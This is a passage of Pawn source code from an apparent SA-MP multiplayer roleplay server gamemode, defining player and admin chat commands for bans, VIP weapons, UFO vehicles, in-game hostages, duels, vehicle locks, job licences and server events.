          mysql_format(handle,query,sizeof(query),"SELECT * FROM `hwbans` WHERE `HWBannedName`!='-1' ORDER BY `HWDate` DESC LIMIT 30");
          new Cache:result=mysql_query(handle,query);
          if(cache_num_rows()==0){SCM(playerid, COLOR_YELLOW2, "Error: There is no player banned with HWID.");cache_delete(result);return 1;}
          for(new i=0;i<cache_num_rows();i++)
          {
          cache_get_field_content(i,"HWBannedName",getname,handle,sizeof(getname));
          cache_get_field_content(i,"HWBanned",hwBanned,handle,sizeof(hwBanned));
          cache_get_field_content(i,"HWDate",hwDate,handle,sizeof(hwDate));
          cache_get_field_content(i,"HWBanner",hwName,handle,sizeof(hwName));
          format(strlol2, 256,"Banned HWID: %s, Banned name: %s, Date: %s, Banned by: %s\n",hwBanned,getname,hwDate,hwName);
          strcat(strlol, strlol2, 2000);
          Counter++;
		  }
		  ShowPlayerDialog(playerid, 8046, DIALOG_STYLE_MSGBOX, "HWID Banneds List", strlol, "Done", "");
          cache_delete(result);
        return 1;
        }
		if(strcmp(cmd, "/gp", true) == 0)
		{
		if(PINFO[playerid][pVip]<1)return Error(playerid, "Error: You are not VIP.")
		if(PINFO[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
		if(IsAtjail(playerid))return Error(playerid, "Error: You are in jail.")
		if(GunVIPx[playerid]!=0){new xS[144]; format(xS, sizeof(xS), "Error: You can use this command %d %s later.", (80-GunVIPx[playerid]), (GunVIPx[playerid]<2)?("second"):("seconds")); Error(playerid, xS) return 1;}
		GivePlayerKolang(playerid, 24, 50);
		GivePlayerKolang(playerid, 27, 30);
		GivePlayerKolang(playerid, 31, 50);
		SCM(playerid, COLOR_SINARANG, "You got VIP gun package.");
		GunVIPx[playerid]=1;
		return 1;
		}
		if(strcmp(cmd, "/ufo", true) == 0)
		{
		if(PINFO[playerid][pVip]<1)return Error(playerid, "Error: You are not VIP.")
		new cht[50];
		if(IsPlayerInAnyVehicle(playerid))
		{
		if(!IsValidObject(ShipObject[GetPlayerVehicleID(playerid)]))return Error(playerid, "Error: You are not in an UFO")
		new id = GetPlayerVehicleID(playerid), Float:XYZ[3];
		GetVehiclePos(id, XYZ[0], XYZ[1], XYZ[2]);
		DestroyVehicle(id);
		DestroyObject(ShipObject[id]);
		ShipObject[id] = INVALID_OBJECT_ID;
		UFOSavar[UFOOwnerID[id]]=0;
		UFOOwnerID[id]=9999;
		format(cht, sizeof(cht), "UFO {FFFFFF}%d{ff6347} destroyed.", id);
		SCM(playerid, COLOR_LIGHTRED, cht);
		SetPlayerPos(playerid, XYZ[0], XYZ[1], XYZ[2]);
		}
		else
		{
		if(UFOSavar[playerid]==1)return Error(playerid, "Error: You couldn't spawn an UFO when you spawned another UFO.")
		if(1+GetVehiclePoolSize()>MAX_VEHICLES)return SCM(playerid,COLOR_YELLOW2,"Error: You couldn't create UFO now.");
		if(GetPlayerInterior(playerid)!=0)return Error(playerid, "Error: You couldn't create UFO here.")
		new Float: x, Float: y, Float: z, Float: a;
		GetPlayerPos(playerid, x, y, z);
		GetPlayerFacingAngle(playerid, a);
		new id = CreateVehicle(501, x, y, z, a, 1, 1, -1);
		ShipObject[id] = CreateObject(18846, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
		AttachObjectToVehicle(ShipObject[id], id, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
		PutPlayerInVehicle(playerid, id, 0);
		UFOOwnerID[id]=playerid;
		UFOSavar[playerid]=1;
		format(cht, sizeof(cht), "UFO {FFFFFF}%d{ff6347} spawned.", id);
		SCM(playerid, COLOR_LIGHTRED, cht);
		}
		return 1;
		}
		if(strcmp(cmd, "/th", true) == 0)
		{
		if(!IsFactionMafia(GetPlayerFactionID(playerid)))return Error(playerid, "Error: You are not in a family.")
		if(PINFO[playerid][pRank]<2)return Error(playerid, "Error: Your rank isn't high enough to use this command.")
		if(GetPlayerState(playerid)!=PLAYER_STATE_DRIVER)return Error(playerid, "Error: You should be driver of a vehicle.")
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /th <Playerid/PartOfName>");
		new taraf = ReturnUser6(tmp);
		if(!IsPlayerConnected(taraf))return Error(playerid, "Error: That player is offline.")
		if(ManHostageAm[taraf]!=9999)return Error(playerid, "Error: You couldn't take this player as a hostage.")
		if(IsACop(taraf))return Error(playerid, "Error: You couldn't take this player as a hostage.")
		if(GetPlayerVehicleID(playerid)!=GetPlayerVehicleID(taraf))return Error(playerid, "Error: That player isn't in your vehicle.")
		if(GetPlayerPool(taraf)<10000)return Error(playerid, "Error: This player haven't enough money.")
		new cht[144];
		TogglePlayerControllable(taraf, 0);
		format(cht, sizeof(cht), "%s %s taken you as a hostage!", GetPlayerRank(playerid), RPName(playerid));
		SCM(taraf, COLOR_SINAGHERMEZ, cht);
		format(cht, sizeof(cht), "You took %s as a hostage!", RPName(taraf));
		SCM(playerid, COLOR_SINAGHERMEZ, cht);
		ManHostageDaram[playerid] = taraf;
		ManHostageAm[taraf] = playerid;
		HostageTime[taraf] = 1;
		return 1;
		}
		if(strcmp(cmd, "/uth", true) == 0)
		{
		if(!IsFactionMafia(GetPlayerFactionID(playerid)))return Error(playerid, "Error: You are not in a family.")
		if(PINFO[playerid][pRank]<2)return Error(playerid, "Error: Your rank isn't high enough to use this command.")
		if(GetPlayerState(playerid)!=PLAYER_STATE_DRIVER)return Error(playerid, "Error: You should be driver of a vehicle.")
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /uth <Playerid/PartOfName>");
		new taraf = ReturnUser6(tmp);
		if(!IsPlayerConnected(taraf))return Error(playerid, "Error: That player is offline.")
		if(GetPlayerVehicleID(playerid)!=GetPlayerVehicleID(taraf))return Error(playerid, "Error: That player isn't in your vehicle.")
		if(ManHostageAm[taraf]==9999)return Error(playerid, "Error: This player isn't hostage.")
		if(ManHostageAm[taraf]!=playerid)return Error(playerid, "Error: This player didn't take by you as a hostage.")
		new cht[144];
		TogglePlayerControllable(taraf, 1);
		format(cht, sizeof(cht), "%s %s freed you from hostage!", GetPlayerRank(playerid), RPName(playerid));
		SCM(taraf, COLOR_SINAGHERMEZ, cht);
		ManHostageDaram[playerid]=9999;
		ManHostageAm[taraf]=9999;
		HostageTime[taraf]=0;
		return 1;
		}
		if(strcmp(cmd, "/ca", true) == 0)
		{
		if(PINFO[playerid][pAdmin]<12)return Error(playerid, "Error: Your admin level isn't high enough to use this command.")
		new name[25], password[206], insertpassword[129], sex, email[206], query[2048], referral, level, gold, money;
	    tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /ca <Name> <Password> <Sex> <Email> <Referral> <Level> <Gold> <Money>");
	    if(strlen(tmp)<3||strlen(tmp)>24)return Error(playerid, "Error: Entered name is too long or too short.")
	    if(!IsNameEmpty(tmp))return Error(playerid, "Error: Entered name is already registered.")
		format(name, sizeof(name), tmp);
	    password = strtokXE(cmdtext, idx);
	    if(!strlen(password))return SCM(playerid, COL_SYN, "Syntax: /ca <Name> <Password> <Sex> <Email> <Referral> <Level> <Gold> <Money>");
        if(strlen(password)<2||strlen(password)>128)return Error(playerid, "Error: Entered password is too long or too short.")
	    tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /ca <Name> <Password> <Sex> <Email> <Referral> <Level> <Gold> <Money>");
	    sex = strval(tmp);
	    if(sex!=1&&sex!=2)return Error(playerid, "Error: Invalid sex entered.")
		email = strtokXE(cmdtext, idx);
	    if(!strlen(email))return SCM(playerid, COL_SYN, "Syntax: /ca <Name> <Password> <Sex> <Email> <Referral> <Level> <Gold> <Money>");
        if(!IsValidMail(email))return Error(playerid, "Error: Entered email isn't valid.")
        if(strlen(email)>200)return Error(playerid, "Error: Entered email is too long.")
	    tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /ca <Name> <Password> <Sex> <Email> <Referral> <Level> <Gold> <Money>");
	    referral = strval(tmp);
	    if(referral!=0&&!IsReferralReserved(referral))return Error(playerid, "Error: Entered referral id is invalid.")
	    tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /ca <Name> <Password> <Sex> <Email> <Referral> <Level> <Gold> <Money>");
		level = strval(tmp);
		if(level>=999999999||level<=0)return Error(playerid, "Error: Entered level is too high or too low.")
	    tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /ca <Name> <Password> <Sex> <Email> <Referral> <Level> <Gold> <Money>");
		gold = strval(tmp);
		if(gold>=999999999||gold<0)return Error(playerid, "Error: Entered gold is too high or too low.")
	    tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /ca <Name> <Password> <Sex> <Email> <Referral> <Level> <Gold> <Money>");
		money = strval(tmp);
		if(money>=999999999||money<0)return Error(playerid, "Error: Entered money is too high or too low.")
		WP_Hash(insertpassword, sizeof(insertpassword), password);
		new rand = RandomShomare(1000000,9999999);
		new myip[40];
		GetPlayerIp(playerid, myip, sizeof(myip));
	    mysql_format(handle, query, sizeof(query), "INSERT INTO `users` (pName, pKey, pSex, pEmail, pReferral, pLevel, pGold, pAccount, pIp, pRHWID, pMarriedTo, cSkin, pPhousekey, pPbiskey, pPnumber, pAutoIP) VALUES ('%e', '%e', '%d', '%e', '%d', '%d', '%d', '%d', '%e', '%e', '%e', '%d', '%d', '%d', '%d', '%e')",
		name, insertpassword, sex, email, referral, level, gold, money, myip, GetPlayerHWID(playerid), "No-one", (sex==1)?(170):(91), 9999, 9999, rand, "255.255.255.255");
	    mysql_tquery(handle, query, "GetReferralID", "is", playerid, name);
		return 1;
		}
		if(strcmp(cmd, "/coin", true) == 0)
		{
		if(PINFO[playerid][pLevel]<3)return Error(playerid, "Error: Your level isn't high enough to use this command.")
		ShowCoinDialog(playerid);
		return 1;
		}
		if(strcmp(cmd, "/setcoin", true) == 0)
		{
		if(PINFO[playerid][pAdmin]<12)return Error(playerid, "Error: Your admin level isn't high enough to use this command.")
	    tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /setcoin <Currency>");
	    new level = strval(tmp), cht[144];
		if(level<2000000||level>100000000)return Error(playerid, "Error: Invalid amount.")
		ArzesheCoin = level;
		SaveStuff();
	    format(cht, sizeof(cht), "{ffffff}Admin %s has set 1 %s price to $%s",RPName(playerid), GetCoinName(), FormatNumber(level));
        AdminWarn(cht);
		return 1;
		}
		if(strcmp(cmd, "/duel", true) == 0)
        {
        if(PINFO[playerid][pGunLic]<=0)return Error(playerid, "Error: You don't have weapon license.")
        new cht[144], taraf, prize;
	    tmp = strtok(cmdtext, idx);
		if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /duel <Playerid/PartOfName> <Prize>");
		taraf = ReturnUser6(tmp);
		if(taraf==playerid)return Error(playerid, "Error: You couldn't send duel request to yourself.")
		if(!IsPlayerConnected(taraf))return Error(playerid, "Error: This player isn't connected.")
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /duel <Playerid/PartOfName> <Prize>");
		prize = strval(tmp);
		if(prize<0||prize>5000)return Error(playerid, "Error: Allowed prize is $0 to $5,000.")
		if(GetPlayerState(playerid)!=PLAYER_STATE_ONFOOT)return Error(playerid, "Error: You are not onfoot.")
		if(GetPlayerPool(playerid)<prize)return Error(playerid, "Error: You haven't enough money to duel with this player.")
		if(GetDistanceBetweenPlayers(playerid, taraf)>8.0)return Error(playerid, "Error: You aren't near to this player.")
		format(cht, sizeof cht, "You are called for a duel to %s for $%s wait for a reply, if you want to cancel it use /cancel duel.",RPName(taraf), FormatNumber(prize));
		SCM(playerid, COLOR_LIGHTBLUE, cht);
		format(cht, sizeof cht, "%s wants to duel with you for $%s, if you accept use /[acc]ept duel %d.",RPName(playerid), FormatNumber(prize), playerid);
		SCM(taraf, COLOR_LIGHTBLUE, cht);
		DuelBy[taraf]=prize;
		DuelBy[playerid]=prize;
		DuelWith[playerid]=taraf;
		DuelWith[taraf]=playerid;
        return 1;
        }
		if(strcmp(cmd, "/count", true) == 0)
        {
        if(pAdminEx(playerid)<1)return AdminError(playerid);
        new cht[144], counts=0, Float:range, imin=0;
        tmp = strtok(cmdtext, idx);
        if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /count <Distance(FLOAT)>");
        range = floatstr(tmp);
        if(countdown!=0)return Error(playerid, "Error: A countdown is started already.")
        if(range>1000.0||range<0.1)return Error(playerid, "Error: Invalid range entered.")
        ForEachPlayer(i)
        {
        if(IsNPC(i))continue;
        if(ProxDetectorS(range, playerid, i))
        {
        counts++;
		countdown=1;
		SetTimerEx("CountDownTime3", 1000, 0, "i", i);
		if(i==playerid)imin=1;
        }
        }
        if(counts==1&&imin==1||counts==0){countdown=0;SCM(playerid, COLOR_SINARANG, "There isn't any players in this range.");return 1;}
        SetTimer("FinishCountDown", 4000, 0);
		format(cht,sizeof(cht), "You started the countdown for %d %s in %.2f distance.", counts, (counts==1)?("player"):("players"), range);
		SCM(playerid, COLOR_SINARANG, cht);
		return 1;
		}
		if(strcmp(cmd, "/lockcar", true) == 0)
		{
		if(pAdminEx(playerid)<5)return AdminError(playerid);
	    tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /lockcar <Distance(FLOAT)>");
	    new Float:dis = floatstr(tmp);
	    if(dis<0.1||dis>1000.0)return Error(playerid, "Error: Invalid distance entered.")
	    new Float:ui[6], wrn[144], counts=0;
	    GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
	    ForEachVehicle(i)
	    {
	    if(!IsValidAVeh[i])continue;
	    GetVehiclePos(i, ui[3], ui[4], ui[5]);
	    if(GetDistanceBetweenPoints(ui[0], ui[1], ui[2], ui[3], ui[4], ui[5]) <= dis)
	    {
	    counts++;
	    ForEachPlayer(b){SetVehicleParamsForPlayer(i,b, 0, 1);}
	    }
	    }
	    format(wrn, sizeof(wrn), "{ffffff}Admin %s has locked all admin vehicles in %.2f distance (%s vehicles locked)",RPName(playerid), dis, FormatNumber(counts));
        AdminWarn(wrn);
		return 1;
		}
		if(strcmp(cmd, "/unlockcar", true) == 0)
		{
		if(pAdminEx(playerid)<5)return AdminError(playerid);
	    tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /unlockcar <Distance(FLOAT)>");
	    new Float:dis = floatstr(tmp);
	    if(dis<0.1||dis>1000.0)return Error(playerid, "Error: Invalid distance entered.")
	    new Float:ui[6], wrn[144], counts=0;
	    GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
	    ForEachVehicle(i)
	    {
	    if(!IsValidAVeh[i])continue;
	    GetVehiclePos(i, ui[3], ui[4], ui[5]);
	    if(GetDistanceBetweenPoints(ui[0], ui[1], ui[2], ui[3], ui[4], ui[5]) <= dis)
	    {
	    counts++;
	    ForEachPlayer(b){SetVehicleParamsForPlayer(i,b, 0, 0);}
	    }
	    }
	    format(wrn, sizeof(wrn), "{ffffff}Admin %s has unlocked all admin vehicles in %.2f distance (%s vehicles unlocked)",RPName(playerid), dis, FormatNumber(counts));
        AdminWarn(wrn);
		return 1;
		}
		if(strcmp(cmd, "/lockveh", true) == 0)
		{
		if(pAdminEx(playerid)<10)return AdminError(playerid);
		if(!IsPlayerInAnyVehicle(playerid))return Error(playerid, "Error: You must be in a vehicle to use this command.")
		if(GetPlayerState(playerid)!=PLAYER_STATE_DRIVER)return Error(playerid, "Error: You should be driver of this vehicle to use this command.")
		if(OwnedMashin[GetPlayerVehicleID(playerid)]==1) return Error(playerid, "Error: You couldn't toggle this vehicle's lock.")
		new enginex, lightsx, alarmx, doorsx, bonnetx, bootx, objectivex, cht[144];
        GetVehicleParamsEx(GetPlayerVehicleID(playerid), enginex, lightsx, alarmx, doorsx, bonnetx, bootx, objectivex);
        #pragma unused enginex
        #pragma unused lightsx
        #pragma unused alarmx
        #pragma unused bonnetx
        #pragma unused bootx
        #pragma unused objectivex
        if(doorsx==1)// lock
        {
        ForEachPlayer(i){SetVehicleParamsForPlayer(GetPlayerVehicleID(playerid), i, 0, 0);}
 	    format(cht, sizeof(cht), "{ffffff}Admin %s has unlocked vehicle %d",RPName(playerid), GetPlayerVehicleID(playerid));
        AdminWarn(cht);
        }
        else// unlock
        {
        ForEachPlayer(i){SetVehicleParamsForPlayer(GetPlayerVehicleID(playerid), i, 0, 1);}
  	    format(cht, sizeof(cht), "{ffffff}Admin %s has locked vehicle %d",RPName(playerid), GetPlayerVehicleID(playerid));
        AdminWarn(cht);
        }
		}
		if(strcmp(cmd, "/getjl", true) == 0)
		{
		if(!PTP(3.0, playerid, 358.673706, 182.649597, 1008.382812))return Error(playerid, "Error: You aren't near to specific section in city hall.")
		if(PINFO[playerid][pJob]==0)return Error(playerid, "Error: You are unemployed.")
		if(PINFO[playerid][pJob]==PINFO[playerid][pSoldier])return Error(playerid, "Error: You already have your job's license.")
		new onejobpr=1500;
		new twojobpr=2000;
		new thirdjobpr=3000;
		new lastpr=0;
		if(PINFO[playerid][pJob]>=0&&PINFO[playerid][pJob]<=10){lastpr=onejobpr;}
		if(PINFO[playerid][pJob]>=11&&PINFO[playerid][pJob]<=15){lastpr=twojobpr;}
		if(PINFO[playerid][pJob]>=16){lastpr=thirdjobpr;}
		BayadPoolBedam[playerid]=lastpr;
		new cht[100];
		format(cht, sizeof(cht), "You should pay $%s for your job %s to have it's license.", FormatNumber(lastpr), GetJobName(PINFO[playerid][pJob]));
		ShowPlayerDialog(playerid, 1092, DIALOG_STYLE_MSGBOX, "Job License", cht, "Pay", "Close");
		return 1;
		}
		if(strcmp(cmd, "/checkjl", true) == 0)
		{
		if(GetPlayerFactionID(playerid)!=1)return Error(playerid, "Error: You aren't part of Police Department.")
	    tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /checkjl <Playerid/PartOfName>");
	    new taraf = ReturnUser6(tmp);
	    if(!IsPlayerConnected(taraf))return Error(playerid, "Error: This player is offline.")
	    if(!ProxDetectorS(7,taraf,playerid))return Error(playerid, "Error: This player is too away from you.")
	    new cht[144];
	    format(cht, sizeof(cht), "%s's job is {FFFFFF}%s{FFFF00} that %s %s{FFFF00} it's license.", RPName(taraf), GetJobName(PINFO[taraf][pJob]), (PINFO[taraf][pSex]==1)?("he"):("she"), (PINFO[taraf][pJob]==PINFO[taraf][pSoldier])?("{00FF00}has"):("{FF0000}hasn't"));
		SCM(playerid, COLOR_YELLOW, cht);
		format(cht, sizeof(cht), "%s checks %s's job's license", RPName(playerid), RPName(taraf));
		ProxDetector(30.0, playerid, cht, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
		return 1;
		}
		if(strcmp(cmd, "/requestevent", true) == 0 || strcmp(cmd, "/re", true) == 0)
		{
		if(PINFO[playerid][pLevel]<5)return SEM(playerid, "Your level is too low to organize an event.");
		if(IsThereEvent)return SEM(playerid, "There is an event already.");
		if(HasWanted(playerid)||IsAtjail(playerid)||InSleep[playerid]==1)return SEM(playerid, "You can't request an event right now.");
		ShowPlayerDialog(playerid,5010,DIALOG_STYLE_INPUT,"Request an Event","Enter the title of event below","Done","Close");
		return 1;
		}
		if(strcmp(cmd, "/aaevent", true) == 0 || strcmp(cmd, "/ae", true) == 0)
		{
		if(PINFO[playerid][pAdmin]<1&&PINFO[playerid][pSponser]==0) return SEM(playerid,"Your admin level isn't high enough to use this command.");
		if(IsThereEvent)return SEM(playerid,"There is an ongoing event.");
		tmp = strtok(cmdtext,idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /aaevent <EventID>");
		new event=strval(tmp);
		new org=EventIDToPlayerID(event);
		if(!IsPlayerConnected(org))return SEM(playerid, "Organizer of that event id isn't connected.");
		if(HasWanted(org)||IsAtjail(org)||AFK[org]!=0)return SEM(playerid, "This player couldn't organize their event now.");
        if(ReqHamkar[org]!=9999){if(HasWanted(ReqHamkar[org])||IsAtjail(ReqHamkar[org])||AFK[ReqHamkar[org]]!=0)return SEM(playerid, "This player couldn't organize their event now.");}
        SVEventOrganizer=org;
        SVEventPrize=ReqPrize[org];
        SVEventInt=ReqInt[org];
        strcpy(SVEventTitle,ReqTitle[org],30);
        if(ReqHamkar[org]==9999)SVEventHamkar=9999;
        if(ReqHamkar[org]!=9999)SVEventHamkar=ReqHamkar[org];
        SVEventMinLevel=ReqMinLevel[org];
        SVEventMaxLevel=ReqMaxLevel[org];
        SVEventType=ReqType[org];
        IsThereEvent=true;
        if(SVEventType==6)gDice[org]=1;
        ForEachPlayer(i){ElamEvent(i, COLOR_YELLOW);ReqEventID[i]=false;ReqMyEventID[i]=9999;}
        EventStopper=SetTimer("StopTheEvent", 3600000, 0);
        TeleportOrganizerToEvent(SVEventOrganizer, ReqType[org], ReqInt[org]);
		if(SVEventHamkar!=9999)TeleportOrganizerToEvent(SVEventHamkar, ReqType[org], ReqInt[org]);
        SCM(SVEventOrganizer, COLOR_YELLOW, "Your event got accepted by an admin. It's better to say something in '/e' first.");
	    new asx[144];
	    format(asx, sizeof(asx), "{ffffff}Admin %s has accepted %s's event request",RPName(playerid), RPName(SVEventOrganizer));
        AdminWarn(asx);
		return 1;
		}
		if(strcmp(cmd, "/stopevent", true) == 0)
		{
		if(PINFO[playerid][pAdmin]<1&&SVEventOrganizer!=playerid) return SEM(playerid,"You are not the Event Organizer.");
		if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
	    tmp = strtokEx(cmdtext, idx);
	    if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /stopevent <Reason>");
	    if(SVEventOrganizer==playerid)// Organizer stopped
	    {
	    StopEvent(playerid, tmp, false);
	    }
	    else// Force
	    {
	    StopEvent(playerid, tmp, true);
	    }
		return 1;
		}
		if(strcmp(cmd, "/e", true) == 0)
		{
		if(PINFO[playerid][pAdmin]<1&&SVEventOrganizer!=playerid) return SEM(playerid,"You are not the Event Organizer.");
		if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
		new eChat[145], str[145];
		eChat = strtokEx(cmdtext,idx);
		if(!strlen(eChat)) return SCM(playerid,COL_SYN,"Syntax: /e <EventChat>");
		if(PINFO[playerid][pAdmin]<12)CensorText(eChat);
		if(playerid==SVEventOrganizer){format(str, sizeof(str), "Event organizer %s: %s", RPName(playerid), eChat);}
		if(playerid!=SVEventOrganizer){format(str, sizeof(str), "Event admin %s: %s", RPName(playerid), eChat);}
		EventSay(COLOR_EVENT, str);
	    return 1;
	    }
	    if(strcmp(cmd, "/event", true) == 0)
	    {
	    if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
	    ElamEvent(playerid, COLOR_YELLOW);
	    if(TogEvent[playerid]==true)SCM(playerid, COLOR_Good, "Warning: You toggled event chats.");
	    }
		if(strcmp(cmd, "/egg", true) == 0)
		{
			if(PINFO[playerid][pAdmin]<1&&SVEventOrganizer!=playerid&&SVEventHamkar!=playerid) return SEM(playerid,"You are not the Event Organizer.");
		    if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
		    if(SVEventType!=1&&SVEventType!=2&&SVEventType!=5)return SEM(playerid, "In this type of event, you can't use this command.");
		    tmp=strtok(cmdtext, idx);
			if(!strlen(tmp))
			{
			    SCM(playerid, COL_SYN, "Syntax: /egg <Playerid/PartOfName(-1 for all)> <WeaponID> <Ammo>");
			    SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			    SCM(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			    SCM(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			    SCM(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			    SCM(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			    SCM(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
			    return 1;
			}
			new taraf=ReturnUser6(tmp), gid, tir, wepname[40];
			if(strval(tmp)==-1)taraf=-1;
			if(taraf!=-1&&!IsPlayerConnected(taraf))return SEM(playerid, "That player isn't connected.");
			if((taraf!=-1)&&(taraf!=SVEventOrganizer&&taraf!=SVEventHamkar)&&(!IsEventPlayer(taraf)))return SEM(playerid, "This player isn't part of event.");
			tmp=strtok(cmdtext, idx);
			gid=strval(tmp);
			if(!strlen(tmp))
			{
			    SCM(playerid, COL_SYN, "Syntax: /egg <Playerid/PartOfName(-1 for all)> <WeaponID> <Ammo>");
			    SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			    SCM(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			    SCM(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			    SCM(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			    SCM(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			    SCM(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
			    return 1;
			}
			if(gid<=0||gid>=47||gid==19||gid==20||gid==21)return SEM(playerid, "Invalid gun id entered.");
			tmp=strtok(cmdtext, idx);
			tir=strval(tmp);
			if(!strlen(tmp))
			{
			    SCM(playerid, COL_SYN, "Syntax: /egg <Playerid/PartOfName(-1 for all)> <WeaponID> <Ammo>");
			    SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			    SCM(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			    SCM(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			    SCM(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			    SCM(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			    SCM(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
			    return 1;
			}
			if(tir<1||tir>10000)return SEM(playerid, "Invalid ammo entered.");
			GetWeaponName(gid, wepname, sizeof wepname);
			if(taraf!=-1)
			{
			    GivePlayerKolang(taraf, gid, tir);
			    format(string, 144, "Event Organizer %s has given a(n) %s to %s with %i bullets.", RPName(playerid), wepname, RPName(taraf), tir);
			    EventWarn(string);
			    format(string, 144, "[INFO]:{FF0000} Event Organizer %s given you a(n) %s.", RPName(playerid), wepname);
			    SCM(taraf,COLOR_SINA2,string);
		    }
		    if(taraf==-1)
		    {
		    	ForEachPlayer(i)
		    	{
		    		if(IsEventPlayer(i))
		    		{
		    			GivePlayerKolang(i, gid, tir);
			            format(string, 144, "[INFO]:{FF0000} Event Organizer %s given you a(n) %s.", RPName(playerid), wepname);
			            SCM(i,COLOR_SINA2,string);
		    		}
		    	}
		    	format(string, 144, "Event Organizer %s has given a(n) %s to all event players with %i bullets.", RPName(playerid), wepname, tir);
			    EventWarn(string);
		    }
			return 1;
		}
		if(strcmp(cmd, "/esetpos", true) == 0)
		{
		if(SVEventOrganizer!=playerid) return SEM(playerid,"You are not the Event Organizer.");
		if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
		GetPlayerPos(playerid, SVEventPOS[0], SVEventPOS[1], SVEventPOS[2]);SVEventVW=GetPlayerVirtualWorld(playerid);SVEventIntEx=GetPlayerInterior(playerid);
		SCM(playerid, COLOR_YELLOW, "Current position saved for event position.");
		SVEventPosSetShode=1;
		return 1;
		}
		if(strcmp(cmd, "/eunlock", true) == 0)
		{
		if(SVEventOrganizer!=playerid) return SEM(playerid,"You are not the Event Organizer.");
		if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
		if(SVEventJoin)return SEM(playerid, "The join of the event is already unlocked.");
		if(BazShodeEvent==1)return SEM(playerid, "The event's join opened before.");
